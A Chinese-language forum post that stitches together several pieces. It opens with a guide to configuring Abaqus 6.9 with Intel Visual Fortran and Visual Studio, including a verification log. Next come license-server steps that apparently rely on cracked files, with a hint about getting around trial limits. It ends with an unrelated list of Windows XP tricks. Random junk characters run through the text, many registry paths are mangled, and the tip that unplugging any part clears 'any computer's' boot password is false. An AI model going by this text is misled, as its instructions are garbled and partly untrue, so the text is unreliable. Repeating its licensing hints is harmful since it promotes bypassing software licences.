定义安装,勾上64位系统支持项)
& H! B- ]3 e) Y8 Y
2 P; Y, F. g+ T9 L2:右键点击Abaqus Verification快捷方式,选择“属性”,在“目标”中的内容前面加上"X:\yourdir\Intel\Compiler\Fortran \$version$\IA32\Bin\ifortvars.bat" && (注意&&后有个空格,还要注意路径用双引号括起来,64位系统为"...\$version$\em64t\bin \ifortvars.bat" && )- F0 f. @9 n' h) \
: o: S&&z3 P2 X/ E
3:双击此Abaqus Verification快捷方式进行验证(必须先启动ABAQUS license)) `7 y3 `8 ^" D% u
% J& O7 v" L/ ~0 |& Q9 J6 a
' g# e7 {% w: h+ q3 H' }4 b1 K( f$ `! P
+ a* H& M1 M/ `# J. U4 ~) h3 C: s
7 s7 z! O# k$ [; W1:ABAQUS先装后装都有可以,没 有影响,若已装上ABAQUS可不必卸载,完成以上步骤即可。2 u% q) y7 p+ U5 t/ Z8 _
! S! v4 \% {, j: a5 ^5 ]3 l: J4 H2:X:\yourdir 为Fortran安装位置,$version$为版本号,比如我的Fortran 10.1.030装在了C:\Program Files,ABAQUS6.9装在了D:\ABAQUS6.9,则在Abaqus Verification快捷方式“目标”中的全部内容为:
1 H/ v' v8 R# u. h3 |& a7 v: z' T/ i4 P
"C:\Program Files\Intel\Compiler\Fortran\10.1.030\IA32\Bin\ifortvars.bat" && D:\ABAQUS6.9\Commands\abq691.bat -verify -all -log && notepad.exe verify.log || notepad.exe verify.log8 ^8 h/ L* k, s2 m7 U$ p3 @1 u0 n
- |' X; J, V, \* [8 U; b
若需要在Abaqus
CAE或Abaqus Command中使用子程序,使用以下两种方法都可以:
6 P4 Z' @&&N" W- O& r* q$ O! B( d) D. R+ K2 F8 O5 Y+ U- ]
1)使用之前所述同样的方法修改其快捷方式,仅需修改一次,以后使用直接点击即可。6 @1 c' V5 \. Q. s, ]/ t
& d. m3 J/ y5 X: h
2)找到Commands
文件夹下的abq691.bat文件,编辑此文件,插入 下面这行使之成为第一行:; t* J$ a$ B) |5 O, v5 n$ T% A
@call "X:\yourdir\Intel\Compiler\Fortran\$version$\IA32\Bin\ifortvars.bat" ) F5 |& L( H; U$ Y
保存即可(X:\yourdir为Fortran安装位置,$version$为版本号)。
: V3 w% M1 w* X" M+ p1 C
% Z9 \8 [& f# ~第 二种方法一劳永逸,任何
abaqus的快捷方式都能无须修改使用子程序功能,并 且还能直接点击cae文件来使用子程序,, E; z" ?+ j) f
0 j0 Z2 \5 i4 j+ l, V& ?
) J0 ^1 Y5 }( T3:通过多台电脑测试,安装英文版本的 Microsoft Visual Studio可以
解决“Fail - Unable to locate or determine the version of a C++ compiler on this system.”的问题,使此项顺利通过。
5 @0 x' ?: ^" N2 D- \, _( J' Q# \) Y0 Y2 ]4 Z6 s- ^
下载页面:(均含32位和64位,默认安装时未装64 位,需要则选自定义安装并在C++下勾上64位选项)- [) o7 \* d+ [3 n1 C
Microsoft Visual Studio 2005 英文版
$ B. g. F5 ~( X: d5 c. O% T# x) r
Microsoft Visual Studio 2008 英文版
) D1 Z; l6 f. E6 H9 Q3 b, \8 ?
9 u4 Y, F, h: ]+ _9 y) G" j9 T+ G" [
4:Intel Visual Fortran 最新版官方下载地址::(均含32位和64位,默认安装为都安装,不需要可去掉64位选项)
" H/ `# V' y7 Z7 \8 [% ]1 ^- d& b
7 F% f" H- H1 YIntel Visual Fortran 9.1.039 专业版
: C$ G1 G/ q( ]# hIntel Visual Fortran 10.1.030 专业版
/ V, P# y, {& X! c. a6 o' ^5 i& ?5 T: ?; Z9 M8 \$ y
若以上链接失效,直接进入官方下载页面下载:" W; D+ P6 [% O6 h
3 ~7 d, K* H7 ]/ r1 V8 R- ~4 v- N4 d- W3 J& d( s
官方下载后好像会把30天试用的license发到邮箱里,如何解决“试用”问题,相信大家都是聪明人,可以自行解决,在此就不方便多说了。
8 o& f5 h" Q+ b4 O% T; U$ M. Q' n% S, @' O; {" }
5:Abaqus v6.9 可使用:MVS2005+IVF9.1,MVS2005+IVF10.1,MVS2008+IVF10.1这三种组合9 n3 J6 j% y1 ^/ g
2 m% f6 W; K2 C' y1 \其他Abaqus版本所需IVF 版本参见官方System Requirements说明:
2 N+ L# T! [) I8 F$ f$ O各版本IVF对MVS版本 的要求见官方SOSS在线支持系统说明:
. D4 u1 K" ^- c& t. h
5 u6 z% ], h0 V* g/ V6:如果所有都准备好了,但是点击Abaqus Verification时自动退出,这是因为在你以前手动设置环境变量时,你删除了一些系统内容导致的。请在系统环境变量的PATH项中加上:5 W4 f6 Y" T5 F8 Y, u
%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\W&&_* d5 V. D6 @5 `8 N; f) A% P
然后验证就不会自动退出了。9 j2 `# R& h2 D# g
% p# L% W/ n" w5 e
7:如果还有关于"
CATIA"的项通不过,请找到你的ABAQUS安装文 件,在win86_32目录下点击安装vcredist_x86-2.exe,(64位系统在win86_64目录下,安装 vcredist_x64.exe 和vcredist_x86-2.exe )这个是Microsoft Visual C++ 2005 SP1
运行库文件,用来支持一些
模型导入的功能,安装后再验证即可通过。
3 O: H& t' N- p7 o' M; u1 |1 a) C( R( A. l: l: d0 x&&i, t6 x
6 f7 j% z( N+ s4 x0 ]: p
5 k" B/ x& n( M& T8 n/ S
. v' M3 p/ g& C! O- n7 F以 下为此方法使用&&Microsoft Visual Studio 2005 +Intel Visual Fortran10.1.030 子程序验证
& k5 P. c6 ]9 m' v) M/ t* H$ Q% P7 E7 Z* X7 h' Q
Abaqus Product Install Verification...
1 f" k* N6 e2 M% k( {# q
- Q; G$ e7 f% g6 k+ m4 O& @Thu Oct 15 09:27:18 2009: U! C9 A3 ]! H4 f. o& R3 t/ R
7 [5 j% D+ S& P3 r, `
Running system requirement checks." |1 M! q3 r0 `8 o
5 g" n* f( H% |" Q& O2 ]&&Z
Requirement:& & Windows XP, Windows Server 2003 Standard Edition, or Windows
+ w- j# W7 W4 F& && && && && & Vista$ t: V- V2 f$ {* M0 Y
Product:& && &&&All Abaqus Products( E& |&&^# \* N
Status:& && && &Pass - Found Microsoft Windows XP Professional Service Pack
3 _&&I; t( j3 s4 _8 J' |' v& && && && && & 3 (Build 2600)., L3 {6 {+ }" [0 ?&&q
' }9 B- L; |+ F
Requirement:& & Microsoft Visual C++ 8.0 (.NET 2005)+ l( }8 m+ c+ V! |
Product:& && &&&Abaqus make utility with C++8 W0 _+ m! b: e0 _# p" }) \% T
Status:& && && &Pass - Found Microsoft Visual C++ 8.0.50727.42.
6 ]6 U2 |8 s5 {% M# L9 U5 b
( e1 J. r' T+ gRequirement:& & Intel Fortran Compiler 9.1 or 10.13 T" J5 a) b/ h/ A9 f4 J! ]! W
Product:& && &&&Abaqus make utility with Fortran and Abaqus with user5 E7 A1 r. Q$ y1 k0 |, i
& && && && && & subroutines
2 r: z# O6 S0 B# Z&&d: j3 AStatus:& && && &Pass - Found Intel Fortran Compiler 10.1 Build &&u5 E7 H) p- ?% N( E
& && && && && & Package ID w_fc_p_10.1.030.2 l2 F3 L4 v' A. t$ S/ ~
2 Q8 _, W2 Q! P$ ]8 p
Requirement:& & Internet Explorer 6.0, Mozilla 1.2, Firefox 1.0.1, or
9 J5 |5 F9 K: ]3 ~& && && && && & greater
! j/ ~! a3 ]: y: W9 s+ O, c2 s( ^( `Product:& && &&&Abaqus Documentation& ]2 s" d1 Z, ?
Status:& && && &Pass - Found Internet Explorer 8.0. c) ~8 j% B8 ^& \0 S
7 h: j0 X' U; E/ u, D$ mMaking F:\Abaqus\verify. All verification files will reside in this+ X& ?* r9 H* ~; C4 [0 `. m/ y
directory.
2 i# Y0 ?) |" x9 h, D-----------------------------------------------------------------------------. F. f" ~' @1 J
Abaqus/Standard
&&K. J+ l: _+ H# r& @
. n% m( _) {; u7 H, \; R& && && &...PASS7 b0 H5 b% U- K
& && && &Continuing...
% a9 i5 b0 t3 M0 k! k-----------------------------------------------------------------------------
# x1 t) A/ e( n0 n" w3 tAbaqus/Standard with user subroutines
8 k# R" N9 y. z&&k0 y/ h2 _# O. p
( ?8 t* x* I8 }) E) C2 b& c, `3 c& && && &...PASS* q/ v. F+ v. @% C
& && && &Continuing...&&b; _&&W" h( d$ L; J! Q4 E
-----------------------------------------------------------------------------
7 N&&B. ?9 ]2 W9 Y# w5 J- WAbaqus/Explicit (single precision)6 `+ f( k8 E8 \- N, _- I' e
! f, |2 M6 @' n$ Q" z9 V, Z8 D, n
& && && &...PASS* f+ X7 y' q& K&&k
& && && &Continuing...2 ?, E+ u7 ~/ T2 y9 B/ {
-----------------------------------------------------------------------------1 H9 s8 T5 a* U
Abaqus/Explicit (double precision)' U. |# b+ B5 G3 D* }) T! b% h
' r+ R2 y' Q&&p( E
& && && &...PASS0 N6 |( ]# i) d9 R
& && && &Continuing..." t! V! r/ l2 H" L! ^$ \1 M; W
-----------------------------------------------------------------------------% [, |" f% F2 V0 O6 h) X
Abaqus/Explicit with user subroutines (single precision)
: Q/ x% c4 k* ~
+ C8 x& P7 s( q" ]3 W& && && &...PASS1 t8 ~, Z. J! J- X
& && && &Continuing...
' Z8 J( g! {( B" m6 b5 O' h( z-----------------------------------------------------------------------------
8 l& {5 t9 @3 t# F4 V. pAbaqus/Explicit with user subroutines (double precision)
( ^; p7 y' E1 ?4 f3 x
: k$ w% O/ d2 k- S& && && &...PASS6 q# Z: g2 U$ `6 |: A
& && && &Continuing...
" \6 U9 p5 O; Q5 ]1 U-----------------------------------------------------------------------------5 }. t2 a/ W, `/ M+ ^6 M
Abaqus/Viewer6 N2 b2 I- F6 X
, B0 b) Q4 o7 G
& && && &...PASS) E- T9 X4 ?6 @+ w' j( }, u
& && && &Continuing...4 ~$ `9 k6 [$ X( p) Q
-----------------------------------------------------------------------------+ W# h0 p) }9 F# h# I9 U8 A6 e
Abaqus/CAE
) M; H/ i3 {) f7 V% o0 d2 O" y$ o* `3 q
& && && &...PASS( R7 F5 m. u7 S/ f( W: x" l
& && && &Continuing...
1 j! {$ Z% F4 [! A5 \-----------------------------------------------------------------------------
& f+ P3 G& ~, `$ r: o& GGeometry Translator for CATIA V4
* P; s' f. Y! {4 X2 l, Z. c&&w) A
% A&&_+ `$ v7 V5 u( J' F; \6 a& && && &...PASS
6 y# F) E6 ~4 r/ l' Y3 H5 i& && && &Continuing...9 K' Z2 _$ d7 U9 L% n
-----------------------------------------------------------------------------& {- A" n2 G" l5 f" I
Geometry Translator for CATIA V5
" G) {/ F0 R4 @: L3 A) m&&?+ M( K1 Y, x% l! k7 I
& && && &...PASS) |# a+ v$ R7 B$ ^, i& z: g
& && && &Continuing...
( ]# Z# T5 J5 W&&Q, E0 |4 k-----------------------------------------------------------------------------; B: H' ?& X4 x/ H7 b
Direct Geometry Import for CATIA V50 K- E5 j& @) p$ X+ [0 R$ ~
; [5 ~2 ]: a, C( B5 y1 [% B: n
& && && &...PASS
6 u3 _+ g* m$ Z: W7 A* E& && && &Continuing...
; w2 y&&K! g' V5 j5 h" u9 {-----------------------------------------------------------------------------
2 j+ N9 p/ J0 B9 }&&b( W' lGeometry Translator for I-DEAS+ t1 F. t1 c8 z" I1 h+ S, G$ H6 e1 O
) r4 ]+ c, a* I& && && &...PASS4 _& _6 T& v" q! y
& && && &Continuing...
2 h1 s- q% ^# h( f) ^9 Z+ F: R-----------------------------------------------------------------------------/ Y" X- i( Y" n7 B2 E2 _
Geometry Translator for Parasolid7 z6 m. w&&E8 L! N9 D. g: U
! y- @# n! l3 ]' _& && && &...PASS* o5 H7 U* |; e
& && && &Continuing...; J' c( T$ u& j, T! s4 S
-----------------------------------------------------------------------------&&y4 S2 h: R5 `- v1 Z
Geometry Translator for Pro/ENGINEER
1 g) Q& Q! s8 o$ \) Y
5 i) q, h&&l3 x* S: {1 Q# }; l& && && &...PASS5 H: N+ h, A1 [: A
& && && &Continuing...
6 V+ x6 I& r* j4 m4 j: p&&l) j-----------------------------------------------------------------------------% U5 q6 P+ _* G' W1 Y7 ^&&G
SolidWorks Associative Interface1 a" \) C, g&&g: @* V% X
0 y3 l( }/ \& T6 J3 [% Q
& && && &...PASS5 _; Y+ X; L7 f* j2 O
& && && &Continuing...
1 d& l4 _+ u+ U) `# ^-----------------------------------------------------------------------------
" |; q9 C, N0 m9 @3 C% I: d( uAbaqus/AMS, q6 y* S2 W; A) ^&&t3 V
! p2 U/ F1 t7 t& && && &...PASS, D: S. E+ i$ o3 k&&Z' v9 n
& && && &Continuing...
- \9 n4 I&&e" O. F9 `6 \-----------------------------------------------------------------------------7 V& p& y1 i1 j2 a2 x) I1 b$ N
Abaqus Interface for
) x! N7 j&&F&&O& Q" V' N3 E0 Y- K5 j$ j# g4 Y, t4 P
& && && &...PASS
( {0 I4 W9 `3 U4 y& && && &Continuing...5 ]; ~: I7 Y- ~& V& s4 s! |8 t
-----------------------------------------------------------------------------
4 `" g7 B" l# K( j, |Abaqus/Standard parametric studies/ |4 ^7 O( w8 W' \0 {
$ x% j2 U" }3 u* j: K- J( D& && && &...PASS
8 x1 t$ F: ?" ?5 e& && && &Continuing...' S) f: R. D&&?! Q
-----------------------------------------------------------------------------# f7 T; I3 _- S" W& ~, Z
Abaqus/Explicit parametric studies
+ @1 k" ]0 k8 R6 |* G1 A/ a: ]
) e2 l. h. o1 m& D8 e3 R8 J& && && &...PASS
& P+ z2 o# U' D$ b& && && &Continuing...* W" K3 g! ~. k) f% k
-----------------------------------------------------------------------------
) k, ~$ L6 _' ~2 W+ nAbaqus/Design
& v2 A&&d&&s8 m&&X; |5 A, ]2 ]0 a- u( {
& && && &...PASS
8 y2 T: P% \! T6 l& && && &Continuing...+ [7 T) R" o2 M# `
-----------------------------------------------------------------------------
' B/ T& O5 o$ Q" uAbaqus Interface for Moldflow
&&Z* k" @# I2 H% H/ U: O/ x, i' U' _9 c' c7 Z, d, t
& && && &...PASS
7 p: ~; _. m0 ~7 G& && && &Continuing...&&_7 ~&&v( r" @5 K" N9 n- S; P
-----------------------------------------------------------------------------8 d&&^( F& h- W, c! @3 l- b6 i
Abaqus make utility with Fortran4 I: e% \* I! E6 [/ m( c, ~) A) i&&a
% d+ x# i6 ]3 V+ C, |$ O: F" P
& && && &...PASS3 _&&h1 y&&w) ]6 \( n
& && && &Continuing...# @+ B&&c. U&&l* C9 q8 f
-----------------------------------------------------------------------------8 W2 F8 o1 Y0 d
Abaqus make utility with C++
9 i, N. [6 V& z8 Y# [: [) M4 [, a&&o
& && && &...PASS
! H4 b" f% W# T0 `& && && &Continuing...
2 I6 g' y5 c( k+ L. s! ~-----------------------------------------------------------------------------
' z. i: e1 V' k2 A) yAbaqus make utility with object code
' ]+ u3 V4 h! w# Q8 A+ V
6 ^( c0 a$ U! u& && && &...PASS7 C3 }/ v2 q( o" B# ]
& && && &Continuing...
0 l# L; v" x5 c3 V0 A-----------------------------------------------------------------------------7 ^0 A$ |+ Y* J/ h( a. T% R
Abaqus scripting interface6 V: ^8 [1 N! x( D9 L2 j( O& P
! v, A5 j2 S/ I+ ]8 v& && && &...PASS/ a&&L& u) x* W( r3 j: m( u
& && && &Continuing...1 y3 M" q1 e4 ?/ ^. [# X" x
-----------------------------------------------------------------------------
# X7 v. q6 Y8 q! F4 K. Q" t, kAbaqus analyses using parallelization3 A8 V! W8 y3 ~( O7 v! |
7 o9 }' P3 d% M0 f# }
& && &Running thread-based parallel with 2 cpu(s)7 n' o/ M* }) E; n6 A& T
& && && && &Abaqus/Explicit domain-level parallel" j- u: M" U2 j
& && && &...PASS
0 l5 d# T7 C- |6 R- P* W& && && && &Abaqus/Standard direct solver
' m&&m% p6 t2 A3 m$ }$ n& && && &...PASS( \% h1 g7 H) C3 [$ ]
& && && &Continuing...) Z( F8 e+ v+ H7 C
-----------------------------------------------------------------------------
; o* B" _1 ^. h% a$ S/ f4 v# ZAbaqus/Foundation3 Z3 P0 [- u0 d3 T0 r
0 b( h1 b* ^7 k1 V&&v
& && && &...PASS- r1 O! y) d- I0 N, |/ j
& && && &Continuing...; [$ f- G, z# `8 `+ J9 g0 a& z( j2 k' ~
-----------------------------------------------------------------------------
6 h# }5 @&&_, w* qAbaqus noGUI (CAE/Viewer)
3 }" m8 r4 u4 u" n( H4 m&&D
' C0 w6 s1 k) F* ^, s& t" }- m& && && &...PASS&&`9 R. _) ^% N. _, r5 D
& && && &Continuing...2 c2 b: a7 u5 `2 ~. K! \( a
-----------------------------------------------------------------------------
" B9 S; @, T$ ^Clean-up..., t) d1 g5 B; E9 Y' R
Verification directory F:\Abaqus\verify has been deleted.
1 o/ z1 Q. U; _0 ~2 i& y$ j6 |6 p2 Y9 h2 `4 U% `5 ~
8 W0 N8 P# u2 i8 G( I
以下是我对MVS和INF安装的理解,以及网上最常见的安装方法的一些说明,有兴趣的朋友可以看看并
讨论,也许可以解决一些疑惑。+ \% V9 U) m. g! T$ B
0 {$ u# K5 S3 n' {- p( W; ?& & 使子程序通过验证,主要有四个方面步骤:安装ABAQUS,安装MVS,安装IVF,设置环境变量。先装MVS后装IVF可以使IVF找到MVS,环境变 量的设置可以让 ABAQUS找到MVS和IVF相关的文件从而通过验证,所以只要环境变量设置正确,不论先装后装ABAQUS都可以。, b9 F8 ~& k1 n6 k
& & 1 E&&d; Q6 u4 U* k3 q' k
& & 环境变量的设置,官方SOSS上说有“永久”法和“临时”法两种:6 v2 h7 b/ K# Q+ l. |- {7 m: }
5 x( o4 ?( \- ?: Y' I1 s
& &“临时”法就是使用MVS和IVF自带的初始化bat文件来自动进行环境变量的设置。在32位系统中,MVS的初始化文件是 vcvars32.bat(64位系统为vcvarsamd64.bat),IVF的初始化文件是 ifortvars.bat,只要在运行ABAQUS
命令时事先调用执行这两个文件即可临时设置好环境变量, 实际上只需单独调用执行ifortvars.bat即可,因为只要IVF先于 MVS安装,ifortvars.bat中就已经包含了vcvars32.bat(64位系统为vcvarsamd64.bat)的调用执行。“临时”的 方法设置环境变量时,不会改变“我的电脑-&高级-&环境变量”中的设置,但 需要每次执行ABAQUS命令前都调用执行一次ifortvars.bat,上面的步骤2就是设置自动调用执行ifortvars.bat。
&&W# g9 I* W0 c" w
; T: z. J) L( c- U5 D& &“永久”法就是可以让任何打开的程序或命令使用环境变量,不需要事先调用ifortvars.bat文件。虽然SOSS中没有具体说如何设置“永久“的 环境变量,但我认为应该就是把ifortvars.bat和vcvars32.bat中所涉及到的环境变量进行手动添加,也就是设置 PAHT,INCLUDE,LIB等环境变量的过程,这也就是网上流行 的方法,设置完后需要注销一次才能生效。
$ S' a&&E7 k+ V&&x4 J4 U: [
& g- y3 _4 P! ]7 c6 r& &“临时”法看似不彻底,但实际上我觉得比“永久”法好,“临时”法不需要手动设置环境变量,不需要注销重启,而且比较可靠。若用"永久"法设置好 环境变量后,有时候其他软件的安装或使用会自动修改环境变量的设置,可能就会影响ABAQUS子程序的使用了,又得重
新手动设置。
( D8 l$ n* h! R; K& l, x, f7 Y
1 A( C# g, s3 y: _6 X" \% Z& & 好多人都曾经碰到这种情况,所有的安装设置都弄好了,但仍然会有下面的项无法通过
7 G" N5 k" ^! g# B; L
) M* i! W&&f% Z1 }4 `& iRequirement:& & Microsoft Visual C++ 8.0 (.NET 2005)
0 S8 }- D; j% c+ c7 e- dProduct:& && &&&Abaqus make utility with C++$ y' P0 u. e3 r. b
Status:& && && &Fail - Unable to locate or determine the version of a C++
0 U/ x+ o1 A! d8 o8 t& && && && && & compiler on this system.&&If Microsoft Visual C++ 8.0 (.NET
: D# @) K. N) z. F* f& && && && && & 2005) is installed on this system, please load the
, P# F( p! }/ ]& U# L& && && && && & vcvars32.bat file before running Abaqus.
1 a8 t! Q+ K. g# s* K4 k0 E) r- H2 P+ m- R9 l
& & 我在多台电脑上都装过IVF10.1 或9.1,以及MVS2005或MVS2008,开始时也每次都有这个问题,怎么设置环境变量都通不过。无意间使用了一个英文版本的 MVS2008就通过了,于是又下载英文版的MVS2005,也能通过,虽然不敢说其他人也是因为使用
中文版的原因才无法通过验证,但至少是一个值得尝试的解 决方法。' C$ v: J5 N% w
在网上找了些安装说明,综合并结合自己安装经历重写了一下,以作备用。希望对各位也有帮助。
------------------------------------------------------------
1、有2张DVD安装盘,DVD1是license&server和&软件 (product)&安装程序。DVD2是html&document安装程序。建议安装循序为:&先DVD2,&再DVD1.&(因为安装DVD1 product 时,需要一个安装好html&document的地址)。
2.&先安装DVD2, (中间可能会输入计算机名(hostname),或者自动已经填入了),很快安装好后,&最后得画面会出现一个URL,例如。&需要拷贝一下,或 者抄写下来。
3、安装license,在安装DVD1的时候,会选择安装license还是 product.&第一步先选择license.&在安装好之后,进行license设置。
4、打开DVD1,然后打开SHOOTERS文件夹,将abaqus69.dat文件用记事 本打开,"this_host" 替换为计算机名。(例如:&Home_PC),改好的文件 另存为硬盘C:\SIMULIA\License\license.dat
5,在开始-程序菜单中运行Abaqus licensing/Licensing&utilities,&并设置:
进入config&service选项卡
- Service&name&中输入&Flexlm&Service&1
- Path&to&the&lmgrd.exe&file:C:\SIMULIA\License\lmgrd.exe
-&Path&to&the&license&file:C:\SIMULIA \License\license.dat (注:步骤4中建立好的文件)
- Path&to&the&debug&log&file:abaqus.log(abaqus.log文件可以自己新建)勾选:Use&Services 和Start&Server&at&Power&Up,并点击Save&service"
-&进入Start/Stop/Reread选项卡:点击start&license,此时 状态栏左下角出现start&service&successful(表示配置成功)
6、安装DVD1 过程中选择product,在license server 1(REQUIRED) 中间需填上&(例 如:&27003@Home_PC),url程序应该会填入,如没有,填入第2步记录的url,直至安装完成。
其实6.9和6.8的安装说明基本上一致,关键看自己的,对于27003@hostname怎么修改,目前个人还没有弄清楚,当然你可以用27000@hostname这个license server,目前我的机子上面安装了6.8和6.9,可是郁闷的是不知道怎么修改这个license server,所以导致了目前我的机子,只能运行一个license server,也就是说:我如果需要从6.9转换为6.8,这个时候需要停止一个服务,然后启动另外自己需要用的版本的服务(我的电脑右键→管理→服务和应用程序→服务)。
对于help,同时说明:6.9的和6.8的help文件都安装C:\SIMULA\DOUCUMENTS\6.8和C:\SIMULA\DOUCUMENTS\6.9。其帮助文件所在的网址为:http://Hostname:/index.html和http://Hostname:/index.html。需要说明的是,安装采用的都是2080端口,其搜索功能可以正常使用。
当help的搜索功能不能正常使用的时候,一般是由于monitor文件导致的,这个时候要么重装doucument(需要首先卸载原来发生错误的),异或者在开机启动项中添加monitor进去,这个monitor进程,一般很容易被一些系统维护软件所禁止,所以在使用这些系统维护软件的时候,应该小心一些(我遇到过的是被360安全卫士查杀未知的启动项monitor.exe)。
一,巧解任何电脑的开机密码
小小一招巧解任何电脑的开机密码,无需任何工具,无需放电,任何电脑当开机需要密码时,只需将机箱打开,把里面的声卡或其它任何一个零件拔下来,然后通电启动,主板自检后再强行关机,把拔下的零件再插上去,开机,密码自动清除,百试百灵。
二,让你的键盘会说话
长期面对无声的电脑,我们难免疲倦。如果正在输入的内容被系统一字(字母)不差地念出来,你还能在无声的疲倦中输入错误的内容吗?以Windows 2000/XP中一个鲜为人知的“讲述人”为例教你DIY一个完全免费的语音键盘。
在“运行”中输入“narrator”,点“确定”。点“确定”跳过后便请出本文的主角──“讲述人”。如果你的音箱已经打开,听到了什么?不想听的话就按一下Ctrl键。再按任意键试试,你输入的字母键被系统用标准的美国英语读了出来,这时一个完全免费的语音键盘就诞生在你的手中了。
三,快速关闭没有响应的程序
“开始→运行”,输入“Regedit”,打开“注册表编辑器”,在HKEY-CURRENT-USER下新建串值Waittokillapptimeout,将其键值设为1000(ms)或更小。
允许强行关机
进入HEKY-USERS.DEFAULTControl Paneldesktop,创建一个字符串“AutoEndTask”,将其键值设为“1”即可。对于真正的死机,一般只能两次按下 “Ctrl+Alt+Del” 组合键或按主机箱上的“Reset”键(因为消耗资源较少,故前者优先)来重新启动了。
系统死机时自动重新启动
进入HKEY_LOCAL_MACHINESystemCurrentControlSetC-o-n-trolCrashControl主键,在右边的窗口中修改“AutoReboot”,将其的键值改为“1”。
四,ESC键不太为人知的几个妙用
对于一般用户而言,位于键盘左上方的ESC键并不常用,但你知道吗?其实借助ESC键还能实现不少快捷操作哦!
1.上网时,如果点错了某个网址,直接按ESC键即可停止打开当前网页。
2.上网时总免不了要填写一些用户名什么的,如果填错了,按ESC键即可清除所有的框内内容;而打字时,如果打错了也可以按ESC键来清除错误的选字框。
3.除了“Ctrl+Alt+Del”组合键可以调出windows任务管理器外,按下“Ctrl+Shift+Esc”组合键一样能启动任务管理器。
4.当某个程序不处于活动状态而我们又想将其恢复为活动状态时,按“Alt+Esc”键即可激活该应用程序,而不必用鼠标点击程序标题栏。
5.对于存在“取消”选项的弹出窗口而言,如果你要选择取消的话,直接按ESC键即可实现“取消”操作
五、加快开关机速度
&&在Windows XP中关机时,系统会发送消息到运行程序和远程服务器,告诉它们系统要关闭,并等待接到回应后系统才开始关机。加快开机速度,可以先设置自动结束任务,首先找到HKEY_CURRENT_USERControl PanelDesktop,把AutoEndTasks的键值设置为1;然后在该分支下有个“HungAppTimeout”,把它的值改为“4000(或更少),默认为50000;最后再找到 HKEY_LOCAL_MACHINESystemCurrentControlSetControl,同样把 WaitToKillServiceTimeout设置为“4000”;通过这样设置关机速度明显快了不少。
六、提高宽带速度
专业版的Windows XP默认保留了20%的带宽,其实这对于我们个人用户来说是没有什么作用的。尤其让它闲着还不如充分地利用起来。
在“开始→运行”中输入gpedit.msc,打开组策略编辑器。找到“计算机配置→管理模板→网络→QoS数据包调度程序”,选择右边的“限制可保留带宽”,选择“属性”打开限制可保留带宽属性对话框,选择“启用”,并将原来的“20”改为“0”,这样就释放了保留的带宽。
七、优化网上邻居
Windows XP网上邻居在使用时系统会搜索自己的共享目录和可作为网络共享的打印机以及计划任务中和网络相关的计划任务,然后才显示出来,这样速度显然会慢的很多。这些功能对我们没多大用的话,可以将其删除。在注册表编辑器中找到 HKEY_LOCAL_MACHINEsofewareMicrosoftWindowsCurrent VersionExploreRemoteComputerNameSpace,删除其下的(打印机)和{DC6A-11CF8D87- 00AA0060F5BF}(计划任务),重新启动电脑,再次访问网上邻居,你会发现快了很多。
八、加快启动速度
要加快Windows XP的启动速度。可以通过修改注册表来达到目的,在注册表编辑器,找到 HKEY_LOCAL_MACHINE---SYSTEM-----Current----ControlSet---Control----Session Manager----Memory Management-----PrefetchParameters,在右边找到EnablePrefetcher主键,把它的默认值3改为1,这样滚动条滚动的时间就会减少;
九、自动关闭停止响应程序
有些时候,XP会提示你某某程序停止响应,很烦,通过修改注册表我们可以让其自行关闭,在HKEY_CURRENT_USER-----Control Panel----Desktop中将字符健值是AutoEndTasks的数值数据更改为1,重新注销或启动即可。
十、加快菜单显示速度
为了加快菜单的显示速度,我们可以按照以下方法进行设置:我们可以在HKEY_CURRENT_USERControl PanelDesktop下找到“MenuShowDelay”主键,把它的值改为“0”就可以达到加快菜单显示速度的效果。
十一、清除内存中不被使用的DLL文件
在注册表的HKKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion,在Explorer增加一个项AlwaysUnloadDLL,默认值设为1。注:如由默认值设定为0则代表停用此功能。
十二、加快预读能力改善开机速度
Windows XP预读设定可提高系统速度,加快开机速度。按照下面的方法进行修改可进一步善用CPU的效率:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement],?refetchParameters右边窗口,将EnablePrefetcher的数值数据如下更改,如使用PIII 800MHz CPU以上的建议将数值数据更改为4或5,否则建议保留数值数据为默认值即3。
十三、减少启动时加载项目
许多应用程序在安装时都会自作主张添加至系统启动组,每次启动系统都会自动运行,这不仅延长了启动时间,而且启动完成后系统资源已经被消耗掉!
启动“系统配置实用程序”,在“启动”项中列出了系统启动时加载的项目及来源,仔细查看你是否需要它自动加载,否则清除项目前的复选框,加载的项目愈少,启动的速度自然愈快。此项需要重新启动方能生效。
十四、Windows卸载顽固程序精彩技巧
随着网络的普及,网上的软件也越来越多,给大家带来了极大的方便,但有一些软件以IE插件的形式强制安装,无法卸载,顽固地驻留于用户电脑之中;有些软件在安装后,并没有提供卸载程序,即使在控制面板中将其删除,仍然会有残余的线程文件向外发送信息,用户通常只能采用手工的办法去删除,这样操作起来不但麻烦,而且还容易误删系统文件。以下是一些卸载顽固程序比较另类的方法,希望对大家有所帮助。
1、巧用QQ来卸载顽固程序
将QQ安装目录下的unins000.exe文件拷贝到要卸载文件的安装目录,再执行该程序即可!这种办法对于卸载那些反安装程序丢失或者损坏的文件有特效。
2、Winamp的卸载程序可以安全卸载大部分应用程序
首先在“我的电脑”找到Winamp安装目录下的UninstWp.exe程序,复制并粘贴到顽固程序所在的文件夹中,双击运行该程序就可以把顽固程序卸载得干干净净了。
3、运用WinRAR卸载顽固程序
通过其地址栏定位到顽固程序所在文件夹,再点工具栏上的“添加”按纽,此时会弹出“档案文件名字和参数”对话框,在“存档选项”中勾选“存档后删除原文件”点击“确定”,等压缩完成后,WinRAR会自动删除顽固软件文件夹,然后手工将刚生成的压缩包删除,一切搞定。
4、微软反间谍软件完美卸载3721程序
首先下载微软反间谍软件MicrosoftAntiSpywareInstall.exe,界面是英文的,文字相当于高中英语水平,慢慢看能懂,安装后按提示升级最新数据库,执行SCAN后发现100多个3721,CNS*的东西,选择REMOVE,慢慢的微软反间谍软件清除3721,CNS*的东西,再提示重新启动机器;第一次3721还没清除完,在/PROGRAM FILES/下还有3721目录,先卸载网络实名,右键清除开始——程序菜单中的3721条,再运行微软反间谍软件,扫描后发现多个3721,CNS*的东西,但数量比第一次少多了选择,选择REMOVE,清除3721,CNS*的东西,再重新启动机器,这样就彻底清除3721。
5、运用Windows XP附带的Msicuu.exe、Msizap.exe来彻底卸载顽固程序
